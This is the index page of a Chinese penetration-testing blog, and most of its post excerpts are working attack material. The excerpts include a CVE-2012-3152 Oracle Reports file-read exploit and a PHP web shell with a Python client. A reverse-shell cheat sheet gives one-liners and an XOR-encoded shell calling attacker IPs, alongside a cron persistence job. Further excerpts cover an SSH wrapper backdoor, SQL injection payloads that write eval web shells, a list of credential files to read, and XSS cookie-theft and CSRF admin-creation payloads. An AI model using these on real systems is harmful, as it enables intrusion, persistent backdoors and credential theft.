思考人生

博客说明

博客说明
首先欢迎你的到来,然后本博客之前为自己做笔记用了一段时间,现在打算将其整理下,希望多和大牛们互相学习,互相分享。... 继续阅读 »
Exploit

Oracle Reports LFI——EXP

Oracle Reports LFI——EXP
#!/usr/bin/python import sys, urllib2    # Import the required modules for the vulnerability from termcolor import colored   # Need to download python module "termcolor"   if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"   print "Usage: "+sys.argv[0]+" <URL>"   sys.exit(0)   URL=sys.argv[1]        # Assigns URL variable and prints out message print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"   while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variable   resource=raw_input(colored("~$ ", "red"))   req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'   try:                    # Sets up a Try/Except loop so exceptions are handled cleanly     response=urllib2.urlopen(URL+req)     # Sends request and prints the response     for line in response.readlines():       print line.strip()   except Exception as e: print e... 继续阅读 »
渗透技巧

一句话开启简单的Web服务器

一句话开启简单的Web服务器
    0x01. 背景                 在渗透测试时,有时候控制了目标服务器,可以执行系统命令。为了方便直观的浏览和从目标服务器上取得一些文件,这个时候可以尝试使用系统支持的python、php或ruby命令开启一个HTTP服务器或者FTP服务器或者其他的【PS: 我不知道的】,让我们的更进一步渗透更加方便一些。下面演示的是我知道的几种开启HTTP服务器或FTP服务器的方式。    0x02. Python 开启HTTP服务器              使用Python命令:     python -m SimpleHTTPServer YourPort              SimpleHTTPServer是一个Python的模块,需要服务器安装好这个模块。             效果:              这个可以命令会以当前目录为根目录,开启一个发HTTP服务器,可以遍历目录下载想要下载的文件。    0x03.PHP 开启HTTP服务器            使用PHP命令:      php -S 0.0.0.0:8088 -t /var/   #用法: php -S IP:端口  -t 服务器根路径          从PHP5.4.0开始,就内置了一个简单的web服务器了,详细见:                                                                     http://php.net/manual/en/features.commandline.webserver.php                   执行命令后,会开启php内置的web服务器,以-t后设置的参数为根目录。              效果:               浏览器访问,可见HTTP服务器已经开启成功了,但是这个服务器默认不能遍历目录,所以要下载取得目标上的文件,需要加上他的路径请求。                 看看当前目录下有什么文件:                    我们想要下载/var/www/wwwroot.zip文件到本地,那么浏览器请求:http://192.168.64.133:8088/www/wwwroot.zip     也会解析PHP,那么是不是可以写个shell,然后用菜刀连上去更方便呢? 无限的遐想。。。    0x04.Ruby 开启HTTP服务器                使用Ruby命令:      ruby -run -ehttpd . -p3000 #  ruby -run -ehttpd 路径 -p端口                 通过执行ruby命令,在以“路径”为HTTP根目录,-p指定的端口,开启一个简单的HTTP服务器。         效果:                            0x05.Python开启FTP服务器            使用Python命令:      python -m pyftpdlib -p 2121             同样需要目标上安装pyftplib模块支持         效果:     0x06.附上两个脚本            基于BaseHTTPServer的简单上传下载脚本:                        BaseHTTPServer             FTP脚本:                        SimpleFtpServer推荐:开启Web服务... 继续阅读 »
渗透技巧

菜刀客户端-python版

菜刀客户端-python版
python脚本实现,python下面直接输入命令,所以一句话里用的是shell_exec函数直接执行命令.一句话:Gif89a <?php header("Content-type: text/html; charset=GBK");   $c = @shell_exec($_POST['cf_hb']); echo $c;?>python客户端:import sys import requests import base64   url = sys.argv[1] print "[+] Connecting to whopper shell..."   while True:     comm = raw_input("~$ ")     #encoded = base64.b64encode(comm)     headers = {'user-agent':'Mozilla/4.0'}     proxy = {'http':'http://127.0.0.1:8080'}     data = {'whopper':encoded}   whopper -- 菜刀密码     print "url=",url     #r=requests.post(url, headers=headers, proxies=proxy, data=data)     r=requests.post(url, headers=headers, data=data)     print base64.b64decode(r.text)根据需要修改是否设置代理、是否编码、展示图:... 继续阅读 »
渗透技巧

反弹Shell技巧

反弹Shell技巧
Bash:bash -i >& /dev/tcp/x.x.x.x/2333 0>&1nc:nc -e /bin/sh x.x.x.x 2333bash+nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/ftelnet:mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipepython:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.18",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc=subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"定时任务: crontab(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -Asp:<%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");%>Rubyruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Perlperl -e 'use Socket;$i="10.10.14.101";$p=65512;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHPphp -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'小技巧:添加上bash头信息:bash头:python -c 'import pty;pty.spawn("/bin/sh")'orpython -c 'import pty;pty.spawn("/bin/bash")'SSH隧道:内网服务器:ssh -R 9998:localhost:22 root@202.112.12.31 输入你公网LinuxVPS的密码后,建立一个SSH隧道,会在202.112.12.31上面开一个端口,通向内网这个机器的。公网VPS:ssh localhost 9998演示图:python脚本版:原地址:http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/VPS接收端:import socket    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 10517)) -- 监听反弹回来的端口 s.listen(2) print "Listening on port 10517... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip   while True:  command = raw_input('~$ ')  encode = bytearray(command)  for i in range(len(encode)):    encode[i] ^=0x41  client.send(encode)  en_data=client.recv(2048)  decode = bytearray(en_data)  for i in range(len(decode)):    decode[i] ^=0x41  print decode   client.close() s.close()目标机器上:#!/usr/bin/python   import socket,subprocess,sys   RHOST = sys.argv[1] RPORT = 10517  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))   while True:      # recieve XOR encoded data from network socket      data = s.recv(1024)        # XOR the data again with a '\x41' to get back to normal data      en_data = bytearray(data)      for i in range(len(en_data)):        en_data[i] ^=0x41        # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable      comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      STDOUT, STDERR = comm.communicate()        # Encode the output and send to RHOST      en_STDOUT = bytearray(STDOUT)      for i in range(len(en_STDOUT)):        en_STDOUT[i] ^=0x41      s.send(en_STDOUT) s.close()展示效果:... 继续阅读 »
学习笔记

渗透技巧之SSH篇

渗透技巧之SSH篇
1、入侵得到SHELL后,想快速开放一个可以访问的SSH端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。2、做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接肉鸡上执行:[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart自己机器上执行socat STDIO TCP4:10.18.180.20:22,sourceport=133773、记录SSH客户端连接密码效果图... 继续阅读 »
学习笔记

load_file()常加载的文件

load_file()常加载的文件
 load_file()查看常用的一些配置文件/usr/local/apache/htdocs/comm/config.php/usr/local/app/apache2/conf/httpd.conf            //apache2缺省配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf              //虚拟网站设置/usr/local/apache2/conf/httpd.conf/etc/httpd/conf/httpd.conf apache                                配置文件/etc/rsyncd.conf                                                 同步程序配置文件/etc/sysconfig/network-scripts/ifcfg-eth0                         察看IP./usr/local/app/php5/lib/php.ini                                 //PHP相关设置ect/password/etc/my.cnf                                                     //mysql的配置文件/etc/redhat-release                                             //系统版本/etc/sysconfig/iptables                                         //从中得到防火墙规则策略/etc/my.ini/etc/php5/apache2/php.ini information_schema  读取mysql表c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.iniC:\Program Files\Serv-U\ServUDaemon.inic:\windows\my.iniC:\WINDOWS\system32\inetsrv\MetaBase.xml                        IIS配置文件c:\boot.iniC:\mysql\data\mysql\user.MYD                                    //存储了mysql.user表中的数据库连接密码c:\windows\php.inic:\php.initemp                                                            缓存里面储存的信息c:\windows\repair\sam                                            存储了WINDOWS系统初次安装的密码c:\Program Files\ Serv-U\ServUAdmin.exe                         6.0版本以前的serv-u管理员密码存储于此c:\Program Files\RhinoSoft.com\ServUDaemon.exeC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 D:\MySQL DataFiles\mysql\user.MYD... 继续阅读 »
学习笔记

into outfile的高级运用

into outfile的高级运用
获得物理路径(into outfile '物理路径') 这样才能写对目录能够使用union (也就是说需要MYSQL3以上的版本)对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.OK.需要的条件确定了,那怎么用呢?我们分开两部来说用法.用法1:这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用CODE:http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* 你的小马就诞生了.其中/www/home/html/upload/qingyafengping.jpg为你已上传的木马地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.用法2,也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.譬如CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.... 继续阅读 »
渗透工具

Metasploit常用web漏洞扫描模块

Metasploit常用web漏洞扫描模块
web服务器信息扫描模块============================================================Module auxiliary/scanner/http/http_versionModule auxiliary/scanner/http/open_proxyModule auxiliary/scanner/http/robots_txtModule auxiliary/scanner/http/frontpage_loginModule auxiliary/admin/http/tomcat_administrationModule auxiliary/admin/http/tomcat_utf8_traversalModule auxiliary/scanner/http/optionsModule auxiliary/scanner/http/drupal_views_user_enumModule auxiliary/scanner/http/scraperModule auxiliary/scanner/http/svn_scannerModule auxiliary/scanner/http/traceModule auxiliary/scanner/http/vhost_scannerModule auxiliary/scanner/http/webdav_internal_ipModule auxiliary/scanner/http/webdav_scannerModule auxiliary/scanner/http/webdav_website_content文件目录扫描模块============================================================ Module auxiliary/dos/http/apache_range_dosModule auxiliary/scanner/http/backup_fileModule auxiliary/scanner/http/brute_dirsModule auxiliary/scanner/http/copy_of_fileModule auxiliary/scanner/http/dir_listingModule auxiliary/scanner/http/dir_scannerModule auxiliary/scanner/http/dir_webdav_unicode_bypassModule auxiliary/scanner/http/file_same_name_dirModule auxiliary/scanner/http/files_dirModule auxiliary/scanner/http/http_putModule auxiliary/scanner/http/ms09_020_webdav_unicode_bypassModule auxiliary/scanner/http/prev_dir_same_name_fileModule auxiliary/scanner/http/replace_extModule auxiliary/scanner/http/soap_xmlModule auxiliary/scanner/http/trace_axdModule auxiliary/scanner/http/verb_auth_bypassweb应用程序漏洞扫描模块============================================================ Module auxiliary/scanner/http/blind_sql_queryModule auxiliary/scanner/http/error_sql_injectionModule auxiliary/scanner/http/http_traversalModule auxiliary/scanner/http/rails_mass_assignmentModule exploit/multi/http/lcms_php_exec... 继续阅读 »
学习笔记

2015-8-24 XSS笔记

2015-8-24 XSS笔记
XSS的危害挂马-挂链盗取用户cookie等隐私信息-账号被盗利用XMLHttpRequest对象读取本地敏感文件-盗取本地保存的账号密码键盘监控-使用一些事件监听DoS客户端浏览器-死循环钓鱼攻击-插登录框针对性的XSS病毒,恶意篡改数据.-POST,GET转账,刷钱劫持用户Web行为,进一步渗透内网.-爆发Web2.0蠕虫蠕虫式DDoS攻击……短网址生成:http://dwz.aidmin.cn/ http://dwz.cn/ 有的时候XSS的Payload有长度限制,短网址可以解决。利用XSS代码构建GET构建请求进行CSRF攻击:常X的标签:<link href=“”><img src=“”><img lowsrc=“”><img dynsrc=“”><meta http-equiv=“refresh” content=“0; url=”><iframe src=“”><frame src=“”><script src=“”><bgroup src=“”><embed src=“”>GET盗取Cookie:<a src="http://10.0.0.6/xss/?u=c8bbc2"></a><script src="" _src="http://10.0.0.6/xss/?u=c8bbc2"˃"˃http://10.0.0.6/xss/?u=c8bbc2"></script> 或者短网址处理下:<a src="" _src="http://dwz.cn/124bs8"˃"˃http://dwz.cn/124bs8"> apple</a>构建GET请求代替POST请求的实现操作:POSTURL:http://10.0.0.6:98/source/admin/Admin_add.asp?action=save数据:uid=1&realname=admin&pwd1=admin&pwd2=admin&Submit2=%C8%B7%C8%CF%CC%ED%BC%D3构造GET请求:http://10.0.0.6:98/source/admin/Admin_add.asp?action=save&uid=121&realname=121&pwd1=admin&pwd2=admin&Submit2=%C8%B7%C8%CF%CC%ED%BC%D3生成短网址:http://dwz.cn/129wZp payload:<img src="" _src="http://dwz.cn/129wZp"˃"˃http://dwz.cn/129wZp"></img> 管理员一旦登陆,即可自动添加一账号.绕过过滤方法<sCriPt> Example%00<script> <script/src=…> <scr%00ipt> %3cscript%3e %253cscript%253e <scri<script>pt>... 继续阅读 »